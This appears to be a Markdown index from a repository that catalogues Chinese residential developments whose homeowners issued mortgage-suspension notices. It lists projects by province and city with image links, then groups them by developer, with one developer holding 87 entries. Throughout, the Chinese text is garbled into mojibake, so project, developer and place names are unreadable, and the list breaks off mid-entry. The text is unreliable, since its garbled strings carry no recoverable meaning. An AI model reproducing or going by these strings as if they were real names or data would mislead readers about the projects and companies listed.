[็ๅฑฑๅธๅฝญๅฑฑๅบ่ๅๆฐด้กๆชๆฅๅ๏ผๆฑๅฃๆฐด้๏ผ๏ผ10ๆ๏ผ](images/ๅๅท็/็ๅฑฑๅธ/็ๅฑฑๅธๅฝญๅฑฑๅบ่ๅๆฐด้กๆชๆฅๅใๆฑๅฃๆฐด้ๅ
จไฝไธไธปๅณๅฎๅผบๅถๅ่ดทๅ็ฅไนฆ.png)
- **ๅๅ
ๅธ๏ผ2๏ผ๏ผ**
[ๅๅ
ๅคงๅๅๅบ๏ผ8ๆ๏ผ](images/ๅๅท็/ๅๅ
ๅธ/ๅๅ
ๅคงๅๅๅบ.png),
[ๅๅ
้ธๅไธญๅคฎๅ
ฌๅญ๏ผ8ๆ๏ผ](images/ๅๅท็/ๅๅ
ๅธ/ๅๅ
้ธๅไธญๅคฎๅ
ฌๅญ.png)
### ๅคฉๆดฅๅธ [ 9 ]
- **ๅฎๅปๅบ๏ผ1๏ผ๏ผ**
[ๅฎๅปๅบๅฎๅฐๆตทๆฃ ้
่ๅฃๆฏ่ฑชๅบญ](images/ๅคฉๆดฅๅธ/ๅฎๅปๅบ/ๅคฉๆดฅๅธๅฎๅฐๆตทๆฃ ้
่ๅฃๆฏ่ฑชๅบญ.jpeg)
- **ๅ่พฐๅบ๏ผ2๏ผ๏ผ**
[่ๅๆดฅๅฎธๅฃนๅท](images/ๅคฉๆดฅๅธ/ๅ่พฐๅบ/ๅคฉๆดฅๅธๆดฅๅฎธๅฃนๅทๅ
จไฝไธไธปโๅจๆ่ฟ่ดทโๅ็ฅไนฆ.png),
[่ๅๅพกๆฏๅฎธ้ข](images/ๅคฉๆดฅๅธ/ๅ่พฐๅบ/ๅคฉๆดฅๅธๅ่พฐๅบ่ๅๅพกๆฏๅฎธ้ขๅ
จไฝไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.png)
- **ๆดฅๅๅบ๏ผ1๏ผ๏ผ**
ๅๅญฃๆฅๆ
- **ๅคฉๆดฅๅๅบ๏ผ4๏ผ๏ผ**
[่ๅๅๅผๅฎธ้ขไบๆ](images/ๅคฉๆดฅๅธ/ๅคฉๆดฅๅๅบ/ๅคฉๆดฅ่ๅๅๅผๅฎธ้ขไบๆไฝๅฎ
ๅ
จไฝไธไธปๅจๆ่ฟ่ดทๅ็ฅไนฆ.jpg),
ๅฎๅฐๆตทๆฃ ้
่ๅฃๆฏ่ฑชๅบญ๏ผ8ๆ๏ผ,
ๅฎๅฐ่ท่๏ผ9ๆ๏ผ,
[ๅคฉๆดฅๅคฉๆฟๆจพๆข
ๆฑไฝๅฎ
](images/ๅคฉๆดฅๅธ/ๅคฉๆดฅๅๅบ/_ๅคฉๆดฅๅคฉๆฟๆจพๆข
ๆฑไฝๅฎ
)
- **ๆญฆๆธ
ๅบ๏ผ1๏ผ๏ผ**
ๆๅคง็ฟก็ฟ ๆนพ๏ผ10ๆ๏ผ
### ไบๅ็ [ 8 ]
- **ๅคง็็ฝๆ่ชๆฒปๅท๏ผ1๏ผ๏ผ**
[ๅคง็็ๅฐ้ขๅญๅๅบ๏ผ12ๆ๏ผ](images/ไบๅ็/ๅคง็็ฝๆ่ชๆฒปๅท/_ๅคง็็ๅฐ้ขๅญๅๅบ)
- **ๆๆๅธ๏ผ6๏ผ๏ผ**
ๆๅคงๅ๏ผ9ๆ๏ผ,
ๆๅคง็็ๆนพ๏ผ9ๆ๏ผ,
ๆๅคง้ณๅ
ๅๅฒ๏ผ9ๆ๏ผ,
ไฝณๅ
ไธๅๅธๅนฟๅบ๏ผ9ๆ๏ผ,
่ๅ
ๅพทๅๅคฉๅ๏ผ8ๆ๏ผ,
ๅฎๅฐ่ฑ้นค็ฟ๏ผ10ๆ๏ผ
- **็ๆบชๅธ๏ผ1๏ผ๏ผ**
ๆจฑ่ฑ่ฐท๏ผ7ๆ๏ผ
### ๆตๆฑ็ [ 6 ]
- **ๆญๅทๅธ๏ผ4๏ผ๏ผ**
[ๅฏ้ณๅบๆณฐ็ฆพๅคงๅๅฐ้ขๆฅผ็](images/ๆตๆฑ็/ๆญๅทๅธ/ๆตๆฑ็ๆญๅทๅธๅฏ้ณๅบๆณฐ็ฆพๅคงๅๅฐ้ขๆฅผ็ๅฏๆฟๅจๅบ๏ผ2010๏ผ20ๅทๅฐๅ่ดญๆฟ่
ๆๅ่ฟ่ดงๅ็ฅไนฆ.jpg),
[ๆญๅทไธญๅๆฅๆบช้](images/ๆตๆฑ็/ๆญๅทๅธ/ๆตๆฑๆญๅทไธญๅๆฅๆบช้.png),
[ๆฒๆฑๆฐ้ธฅ้น็ฌฌไธๅ๏ผๅพ
ๅ่ดท๏ผ](images/ๆตๆฑ็/ๆญๅทๅธ/ๆญๅทๅธๆฒๆฑๆฐ้ธฅ้น็ฌฌไธๅๅ่ดท้ฃ้ฉๅ็ฅไนฆ.jpg),
[ไธญๆถฆ็็ๅ
ฌ้ฆ](images/ๆตๆฑ็/ๆญๅทๅธ/ไธญๆถฆ็็ๅ
ฌ้ฆ.png)
- **ๅๅ
ดๅธ๏ผ1๏ผ๏ผ**
[ๆกไนก้็งๆถไปฃๅคฉๆฆๅฐๅบ](images/ๆตๆฑ็/ๅๅ
ดๅธ/_้็งๆถไปฃๅคฉๆฆๅฐๅบ)
- **็ปๅ
ดๅธ๏ผ1๏ผ๏ผ**
[็ปๅ
ด่็ๅบ](images/ๆตๆฑ็/็ปๅ
ดๅธ/_็ปๅ
ด่็ๅบ)
## ๅผๅๅๆป่ฎก 134๏ผๆๆผ้ณๆๅบ๏ผ๏ผ็ป่ฎกๆฅผ็ๆฐ 349๏ผ[ๆฐๆฎๆบ](data/source/extra-info.json)
<details>
<summary><b> ๅฎๅพฝๆฏ็ๆ่ต้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅฎๅพฝ็-ๅ่ฅๅธ-ๆฏ็ๅคงๅฆ
</details>
<details>
<summary><b> ๅฎ่ๅฐไบง้ๅข ใ1ใ</b></summary>
ๆฒณๅ็-็ณๅฎถๅบๅธ-ๅฎ่็ๆๅๅฏๆๅบ
</details>
<details>
<summary><b> ๅฅฅๅฑฑ้ๅขๆ้ๅ
ฌๅธ ใ3ใ</b></summary>
ๆนๅ็-ๆญฆๆฑๅธ-ๅฅฅๅฑฑๆฑๅฃๆพๆนๅ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๅฅฅๅฑฑ็ปๅผๆพๆนๅ๏ผ7ๆ๏ผ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๅฅฅๅฑฑ้ฆๅบ
</details>
<details>
<summary><b> ๅฅฅๅญ้ๅข่กไปฝๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๅฅฅๅญ่ชๆนๆนพ,<br>
ๆฒณๅ็-้ๅทๅธ-ๅฅฅๅญๆฆๅ๏ผๆฑๆฏๅญ๏ผ
</details>
<details>
<summary><b> ็พไธ้่ฐทๅฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-ๅปๅๅธ-็ๆถยทๆชๆฅๆธฏ
</details>
<details>
<summary><b> ๅฎ่ฝ ใ2ใ</b></summary>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๅฎ่ฝๅไธๆ๏ผ8ๆ๏ผ,<br>
ๆตๆฑ็-็ปๅ
ดๅธ-็ปๅ
ด่็ๅบ
</details>
<details>
<summary><b> ไฟๅฎ้ญๅๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-ไฟๅฎๅธ-ไธไธๅพกๆฏ
</details>
<details>
<summary><b> ๅๅคง่ตๆบ้ๅขๆง่กๆ้ๅ
ฌๅธ ใ3ใ</b></summary>
ๆฒณๅ็-ๅผๅฐๅธ-ๅผๅฐๅๅคง่ตๆบๆชๅๅบไธๆ,<br>
ๆฒณๅ็-ๅผๅฐๅธ-ๅผๅฐๅๅคง่ตๆบ็ดซๅขๅบไบๆ,<br>
ๆนๅ็-ๆ ชๆดฒๅธ-ๅๅคง่ตๆบ็ฟก็ฟ ๅ
ฌๅญ
</details>
<details>
<summary><b> ๅไบฌๆ่ฟ้ๅบๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅไบฌๅธ-ๆฟๅฑฑๅบ-้ฟๆตทๅพกๅข
ไธๆ
</details>
<details>
<summary><b> ๅไบฌ้ธฟๅคไผไธๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
ๆฒณๅ็-ๅปๅๅธ-้ธฟๅคๅคๅฐๅไบๆ๏ผ8ๆ๏ผ,<br>
ๆฒณๅ็-ๅปๅๅธ-้ธฟๅค็ๆณๅ
</details>
<details>
<summary><b> ๅธธ็ๅธๆฐๆบๆฟๅฐไบงๆ้่ดฃไปปๅ
ฌๅธ ใ1ใ</b></summary>
ไธๆตทๅธ-ๅๅฎๅบ-ๅๅฎๅ็ฟ็ปฟ่ตๅๅธๅนฟๅบ
</details>
<details>
<summary><b> ้ดๅทๅธ้ฒฒ้นๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-้ดๅทๅธ-้ดๅท้ฒฒ้นๅ่ดธๅ
</details>
<details>
<summary><b> ้ๅบๅพทๆฐๅฐไบง้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-ๅพทๆฐ็ถๅ
ๅบ้ธ๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ้ๅบๅธๅคฉไปๆน็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้ๅบๅธ-ไธๅทๅบ-ๅคฉไปๆน้ป้ๆตทๅฒธ๏ผ10ๆ๏ผ
</details>
<details>
<summary><b> ่พพๅฟๅ็ๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅๅท็-ๅทดไธญๅธ-ๆฉ้ณๅทๆ
ไธ็บชๅคๆปฉ
</details>
<details>
<summary><b> ๅคงๅ็ฝฎไธ ใ1ใ</b></summary>
ๅๅท็-ๅๅ
ๅธ-ๅๅ
ๅคงๅๅๅบ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ๅคง่ฟ็ปฟๆบๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
่พฝๅฎ็-ๅคง่ฟๅธ-้ฆๆตทๆปจๅไบๆ
</details>
<details>
<summary><b> ๅฝไปฃ็ฝฎไธ๏ผไธญๅฝ๏ผๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-ๅฝไปฃๅๅฎๅ
ฌๅญๆฆ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎๅฝไปฃๅขMOMA
</details>
<details>
<summary><b> ้ๅฟๅ็็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆฐธๅทๅธ-้ๅฟไธๆนไธฝ้ฝไธๆ๏ผๆฐธๅท้ๅฟ๏ผ
</details>
<details>
<summary><b> ๅพท้พๆฟๅฐไบง ใ1ใ</b></summary>
ๆฒณๅ็-ๆฟๅพทๅธ-็ถๅ
ๅบ
</details>
<details>
<summary><b> ๅฏๅ ใ3ใ</b></summary>
้ๅบๅธ-้ปๆฑๅบ-ๅฏๅ้ขๅฃซๅปถ็
ๅข,<br>
ๆนๅ็-้ฟๆฒๅธ-ๅฏๅๅญๅบทๅไธๅนฟๅบ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๅคชๅๅฏๅๅคฉ็ฆงๅ3ๆ
</details>
<details>
<summary><b> ๅนฟ่ฅฟๆฑๅฎๆฟๅฐไบงๆ้่ดฃไปปๅ
ฌๅธ ใ1ใ</b></summary>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-ๆฑๅฎไธ็บชๅ
ฌ้ฆ
</details>
<details>
<summary><b> ๅนฟ่ฅฟ้นฟๅฏจ็ฅฅ็ๆ้ฆๆ่ตๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆณๅทๅธ-้นฟๅฏจๅฟ้บๆนๅ
ฌๅญ้
</details>
<details>
<summary><b> ๅนฟ่ฅฟไธ็ฏไผไธ้ๅข่กไปฝๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-็ๆๅธ-ๅๆตๅธไธ็ฏๆฐๅไบๆ
</details>
<details>
<summary><b> ๆกๆๅธๅๅฏๅฎไธๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆกๆๅธ-ๅฑฑๆฐดๅฝ้
,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆกๆๅธ-ๅฑฑๆฐดๅๅบญ
</details>
<details>
<summary><b> ๆกๆๅธ็ตๅทๅฟไธ่ฑกๅ่ดธๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆกๆๅธ-็ตๅทๆฑ้ไธ่ฑกๆฐๅ๏ผ11ๆ๏ผ
</details>
<details>
<summary><b> ๆตฉๅ็ฝฎไธ้ๅขๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๆตฉๅๆขงๆก่็ญ๏ผ7ๆ๏ผ,<br>
ๆฒณๅ็-้ๅทๅธ-ๆฐ้ๅธๆตฉๅๅ
</details>
<details>
<summary><b> ๅ่ฝๅฐไบง ใ3ใ</b></summary>
ๆนๅ็-้ฟๆฒๅธ-ๅ่ฝๆซไธนๅฎธๆฆ,<br>
ๆนๅ็-้ฟๆฒๅธ-ๅ่ฝๆนๆฑๅ
ฌ้ฆ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎ่ฟๆดๅ่ฝๆซไธนๅๆฆไบๆ๏ผๅพ
ๅ่ดท๏ผ
</details>
<details>
<summary><b> ๆฒณๅๆฐธๅบทๆฟๅฐไบงๅผๅ้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ขๅฐๅธ-ๆฐธๅบทไธๅฝๅ
</details>
<details>
<summary><b> ๆฒณๅๅฎๆๆฟๅฐไบงๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๆญฃๅ็ๅท้ข
</details>
<details>
<summary><b> ๆฒณๅๅ็บณ็ฝฎไธ่กไปฝๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๅ็บณ้พ็ๆนพ
</details>
<details>
<summary><b> ๆฒณๅไน่ฃ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ไน่ฃ้พๅ
</details>
<details>
<summary><b> ๆฒณๅ็พๅ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-้พๆนไธๅท๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ๆฒณๅ็็ฟฐ้ซ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-ๅจๅฃๅธ-ๆงๅบๅ
ญๅทไธๆ
</details>
<details>
<summary><b> ๆฒณๅ็ๆ้ซๅฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-่ๅฎๆกๆบ้
</details>
<details>
<summary><b> ๆฒณๅ็ๆธ
ๅๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๆธ
ๅๅ๏ผ7ๆ๏ผ
</details>
<details>
<summary><b> ๆฒณๅ็ๆณฐๅฑฑๅฒฉๅๅฎไธๆ้่ดฃไปปๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๆณฐๅฑฑ่ชๆฏๆ่ชๅญ
</details>
<details>
<summary><b> ๆฒณๅ็ๆถฆ็ฝฎไธ้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-็ๆถฆๅๅฃนๅทๅ
ฌ้ฆ
</details>
<details>
<summary><b> ๆฒณๅๆฐ็ฐๅ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-้ๅทๆฐ็ฐๅๆนๅ
้ไบๆ(ๅๆดๆๆ่)
</details>
<details>
<summary><b> ๆฒณๅๅ
ด่พพๆ่ตๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-ๅ้ณๅธ-ๅ
ด่พพ็ๅบ
</details>
<details>
<summary><b> ๆฒณๅๆ้ซ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ฉป้ฉฌๅบๅธ-ไฝณๅๆฐๅ
</details>
<details>
<summary><b> ๆฒณๅ่ฑซๅ้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-่ฑซๅ็ฝ้นญๆบๆฅๆไธๆ
</details>
<details>
<summary><b> ๆฒณๅ็บต้ซ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-็ไธๅง้พๅไธๆ๏ผ10ๆ๏ผ
</details>
<details>
<summary><b> ๆๅคง ใ87ใ</b></summary>
ๅฎๅพฝ็-ๅ่ฅๅธ-ๆๅคงไธญๅฟ๏ผ8ๆ๏ผ,<br>
้ๅบๅธ-ๅทดๅๅบ-ๆๅคงๆฐๅๅๆ,<br>
้ๅบๅธ-ๅคงๆธกๅฃๅบ-ๆๅคง้บๅฑฑๆน๏ผ9ๆ๏ผ,<br>
้ๅบๅธ-้ปๆฑๅบ-ๆๅคงๅ้ฝ๏ผ7ๆ๏ผ,<br>
้ๅบๅธ-ๆธๅๅบ-ๆๅคง่ฝจ้ๆถไปฃไบๆ,<br>
็ฆๅปบ็-็ฆๅทๅธ-ๆๅคงๅคฉ็ไบๆ,<br>
ๅนฟไธ็-ๆญ้ณๅธ-ๆๅคง็ฟก็ฟ ๅๅบญไบๆ,<br>
ๅนฟไธ็-ๆฑๅคดๅธ-ๆๅคง้็ขงๅคๆปฉๆนพ๏ผๅ
ซๆ๏ผ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅดๅทฆๅธ-ๅนฟ่ฅฟๆถ็ปฅๆๅคงๆๅๆ
ๆธธๅบทๅ
ปๅ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆกๆๅธ-ๆกๆๆๅคงๅ๏ผ10ๆ๏ผ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆณๅทๅธ-ๆๅคงๅไบๆใไธๆ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-ๅๅฎๆๅคงๅๅบไบๆ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-้ฆๅทๅธ-ๆๅคงๅพกๆฏๅๅฒไบๆ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆขงๅทๅธ-ๆๅคง็ปฟๆดฒไบๆ๏ผ8ๆ๏ผ,<br>
ๆฒณๅ็-้ฏ้ธๅธ-ๆๅคง็ปฟๆดฒ,<br>
ๆฒณๅ็-้ฏ้ธๅธ-ๆๅคงๆฆ็ๆนพ,<br>
ๆฒณๅ็-็ณๅฎถๅบๅธ-ๆๅคงๆถไปฃๆฐๅ๏ผ8ๆ๏ผ,<br>
ๆฒณๅ็-็ณๅฎถๅบๅธ-ๆๅคงๆฆ้พๅฐ,<br>
ๆฒณๅ็-็ณๅฎถๅบๅธ-ๆๆถฆไธญๅคฎๅนฟๅบ,<br>
ๆฒณๅ็-้ขๅฐๅธ-ๆๅคงๆฆๅบ,<br>
ๆฒณๅ็-ๅผ ๅฎถๅฃๅธ-ๅฎฃๅๆๅคงๆปจๆฒณๅทฆๅฒธ,<br>
ๆฒณๅ็-ๅผ ๅฎถๅฃๅธ-ๅฎฃๅๆๅคง็ฟก็ฟ ๆนพ,<br>
ๆฒณๅ็-ๅฎ้ณๅธ-ๆฒณๅๅฎ้ณๆๅคงๆชๆฅๅ๏ผ8ๆ๏ผ,<br>
ๆฒณๅ็-ๅฎ้ณๅธ-ๆๅคงๆฆๅบ,<br>
ๆฒณๅ็-ๅผๅฐๅธ-้ๅผๆๅคงๆชๆฅๅไธๆ,<br>
ๆฒณๅ็-ๆด้ณๅธ-ๆๅคงไบๆนไธ้ก,<br>
ๆฒณๅ็-ๆผฏๆฒณๅธ-ๆๅคงๆฆๅบ,<br>
ๆฒณๅ็-ๅ้ณๅธ-ๆๅคงๅพกๅบ,<br>
ๆฒณๅ็-ๅไธๅธ-ๆๅคงๅ้ฝไบๆ,<br>
ๆฒณๅ็-ๆฐไนกๅธ-ๅนณๅๆฐๅบๆๅคงไธๆๅๅๆน๏ผ8ๆ๏ผ,<br>
ๆฒณๅ็-้ๅทๅธ-ๆๅคงๅ,<br>
ๆฒณๅ็-้ๅทๅธ-ๆๅคงๅ
ป็่ฐท,<br>
ๆฒณๅ็-้ฉป้ฉฌๅบๅธ-ๆๅคงๆฆๅบ,<br>
ๆนๅ็-้ๅทๅธ-ๆๅคง็ซฅไธ็ๅๅทๅฐ๏ผๅปๆกฅๆฐดไนก๏ผ๏ผ9ๆ๏ผ,<br>
ๆนๅ็-้ๅทๅธ-ๆๅคงๆๅๆ
ๆธธๅ,<br>
ๆนๅ็-้ๅทๅธ-ๆๅคงๆฆ้พๅฐ๏ผ10ๆ๏ผ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๆๅคง็งๆๅ๏ผ8ๆ๏ผ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๆๅคง้พๅๅๆ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๆๅคงๆถไปฃๆฐๅ๏ผ8ๆ๏ผ,<br>
ๆนๅ็-ๅธๅฎๅธ-ๆๅคงๅ้ฝ,<br>
ๆนๅ็-่ฅ้ณๅธ-ๆๅคง็ฟก็ฟ ้พๅบญไธๆ๏ผ8ๆ๏ผ,<br>
ๆนๅ็-ๆๅๅธ-ๆๅคงๅธๆฏ,<br>
ๆนๅ็-ๆๅๅธ-ๆๅคงไธญๅคฎๅนฟๅบ๏ผ8ๆ๏ผ,<br>
ๆนๅ็-ๆต้ณๅธ-ๆๅคงๅๅบๅๆ,<br>
ๆนๅ็-้ต้ณๅธ-ๆๅคงๅๅบ๏ผ9ๆ๏ผ,<br>
ๆนๅ็-ๆนๆฝญๅธ-ๆๅคงไนฆ้ฆ้จ็ฌฌ15ใ16ๆ ,<br>
ๆนๅ็-ๅฒณ้ณๅธ-ๆๅคงๆชๆฅๅไบๆ๏ผ8ๆ๏ผ,<br>
ๆนๅ็-้ฟๆฒๅธ-ๆๅคงๆปจๆฑๅทฆๅฒธ,<br>
ๆนๅ็-้ฟๆฒๅธ-ๆๅคงๅพกๆฏๅคฉไธไบๆ๏ผ8ๆ๏ผ,<br>
ๆนๅ็-้ฟๆฒๅธ-ๆๅคงๆฆๆนๅไธๅนฟๅบ๏ผ12ๆ๏ผ,<br>
ๅๆ็-ๅ
ฌไธปๅฒญๅธ-ๆๅคง่ฑๆบช่ฐทๆๆฐดไธ็,<br>
ๆฑ่็-ๅฎฟ่ฟๅธ-ๆๅคงๆฆๆพๆนพ,<br>
ๆฑ่็-ๆณฐๅทๅธ-ๆๅคงๅพกๆฏๅๅฒ,<br>
ๆฑ่็-ๆฌๅทๅธ-ๆๅคง่งๆพๅบ,<br>
ๆฑ่็-้ๆฑๅธ-ๆๅคง็ซฅไธ็,<br>
ๆฑ่ฅฟ็-่ตฃๅทๅธ-ไบ้ฝๅฟๆๅคงๅพกๆฏๅๅบ,<br>
ๆฑ่ฅฟ็-ๆฏๅพท้ๅธ-ๆๅคง็ฟก็ฟ ๅๅบญ,<br>
ๆฑ่ฅฟ็-ๆฏๅพท้ๅธ-ๆๅคง็ๅบญ,<br>
ๆฑ่ฅฟ็-ๆฏๅพท้ๅธ-ๆๅคงๆฆๅบ,<br>
ๆฑ่ฅฟ็-ๅๆๅธ-ๆๅคง็บๅบญ๏ผ8ๆ๏ผ,<br>
ๆฑ่ฅฟ็-ๅๆๅธ-ๆๅคงๆๆบชๅบ๏ผ10ๆ๏ผ,<br>
ๆฑ่ฅฟ็-่ไนกๅธ-ๆๅคงๅพกๅบไบๆ,<br>
ๆฑ่ฅฟ็-ๆฐไฝๅธ-ๆๅคง็ฟก็ฟ ๅๅบญ๏ผ9ๆ๏ผ,<br>
ๆฑ่ฅฟ็-ๅฎๆฅๅธ-ๆๅคง็ปฟๆดฒๅๆ,<br>
่พฝๅฎ็-ๆฒ้ณๅธ-ๆๅคง็ไบฌ็บๅบญ,<br>
่พฝๅฎ็-ๆฒ้ณๅธ-ๆๅคงๆถไปฃๆฐๅ,<br>
่พฝๅฎ็-ๆฒ้ณๅธ-ๆๅคงๆๅๆ
ๆธธๅ,<br>
่พฝๅฎ็-ๆฒ้ณๅธ-ๆๅคง่ฅฟๆฑๅคฉๆฆ,<br>
่พฝๅฎ็-ๆฒ้ณๅธ-ๆๅคงไธญๅคฎๅนฟๅบ,<br>
ๅฎๅคๅๆ่ชๆฒปๅบ-้ถๅทๅธ-ๆๅคง็บ็ฟๅบ,<br>
ๅฑฑไธ็-ๆทๅๅธ-ๆๅคงๅ
ป็่ฐท,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๆๅคงๆปจๆฒณๅบไบๆ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๆๅคง้็ขงๅคฉไธๅ
ซๆ๏ผ10ๆ๏ผ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๆๅคง้็ขงๅคฉไธไบๆ๏ผๅ
ซๆ๏ผ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๆๅคงๆฃฎๆๆตทไธๆ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๅคชๅๅธๆๅคงๅพกๆฏๆนพ4ๆ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎๆๅคงๆๅๆ
ๆธธๅ๏ผ8ๆ๏ผ,<br>
ๅๅท็-ๆ้ฝๅธ-ๆๅคงๆๆบช้ก๏ผ8ๆ๏ผ,<br>
ๅๅท็-ๆ้ฝๅธ-ๆๅคง็งไบๅคฉๅณฐ๏ผ8ๆ๏ผ,<br>
ๅๅท็-ๆ้ฝๅธ-ๆๅคงๆชๆฅๅ4ๆ๏ผ7ๆ๏ผ,<br>
ๅๅท็-ๅพท้ณๅธ-ๆๅคง็ฟก็ฟ ๅๅบญ,<br>
ๅๅท็-ๆณธๅทๅธ-ๆๅคง็ฟก็ฟ ๆนพ,<br>
ๅๅท็-็ๅฑฑๅธ-ๆๅคงๆๅๆ
ๆธธๅ๏ผ10ๆ๏ผ,<br>
ๅคฉๆดฅๅธ-ๆญฆๆธ
ๅบ-ๆๅคง็ฟก็ฟ ๆนพ๏ผ10ๆ๏ผ,<br>
ไบๅ็-ๆๆๅธ-ๆๅคงๅ๏ผ9ๆ๏ผ,<br>
ไบๅ็-ๆๆๅธ-ๆๅคง็็ๆนพ๏ผ9ๆ๏ผ,<br>
ไบๅ็-ๆๆๅธ-ๆๅคง้ณๅ
ๅๅฒ๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ๆๆณฐ้ๅข ใ2ใ</b></summary>
ๆนๅ็-้ฟๆฒๅธ-ๆๆณฐ่่ๆฆๅบ,<br>
ๆฑ่็-่ฟไบๆธฏๅธ-ๆๆณฐๆฆ็ๅบ
</details>
<details>
<summary><b> ่กก้ณๅธไบๆๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-่กก้ณๅธ-ๅๆบๅ่ก
</details>
<details>
<summary><b> ๅฎไฟก็ฝฎไธ ใ1ใ</b></summary>
ไธๆตทๅธ-ๆตฆไธๆฐๅบ-ไธๆตทๆตฆไธๆฐๅบๅๅพกๅ
ฌ้ฆ
</details>
<details>
<summary><b> ้ธฟๆตทๅฐไบง ใ1ใ</b></summary>
ๆฑ่ฅฟ็-ๅๆๅธ-้ธฟๆตทๅ๏ผ10ๆ๏ผ
</details>
<details>
<summary><b> ๆนๅ่ไนๅพท่ๆ่ต็ฎก็ๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๅธๅฎๅธ-่ไนๅนฟๅบ
</details>
<details>
<summary><b> ๆนๅๅฅฅไฝ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-่กกไธๅฟ-ๅฅฅไฝๅ
ฌ้ฆ
</details>
<details>
<summary><b> ๆนๅๅ่พพๆ่ต้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆนๆฝญๅธ-ๅ่พพๆปจๆฑๅ
ฌๅญ
</details>
<details>
<summary><b> ๆนๅ็บขๆๅคฉๆๆฟๅฐไบงๅผๅๆ้ๅ
